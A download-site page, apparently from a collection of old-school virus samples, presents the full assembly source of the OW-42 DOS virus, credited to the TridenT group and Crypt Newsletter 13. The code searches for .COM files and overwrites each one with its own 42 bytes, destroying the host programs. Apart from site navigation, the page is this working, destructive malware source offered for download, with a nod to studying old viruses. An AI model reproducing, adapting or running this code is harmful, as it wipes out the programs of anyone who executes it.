⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ow_42.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
字号:
;OW-42 virus - TridenT group, edited for Crypt Newsletter 13
;


CODE    SEGMENT
	ASSUME  CS:CODE, DS:CODE, ES:CODE, SS:NOTHING

	org     0100h

start:  mov     ah,4Eh                  ; find first file
recurse: 
	mov     dx,0123h                ; matching filemask, "*.*"
	int     21h                     


	db      72h,20h                 ;hand-coded jump on carry to
					;exit if no more files found
	mov     ax,3D01h                
	mov     dx,009Eh                
	int     21h                     
	
	mov     bh,40h                  
	mov     dx,0100h                ;starting from beginning
	xchg    ax,bx                   ;put handle in ax
	mov     cl,2Ah                  ;to write: 42 bytes of virus 
	int     21h                     ;write the virus
	mov     ah,3Eh                  ;close the file
	int     21h                     
	
	mov     ah,4Fh                  ;find next file
	jmp     Short recurse


	db    "*.COM"     ;file_mask 
	dw     0C300h     ;hand-coded return

CODE    ENDS
	END     START

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -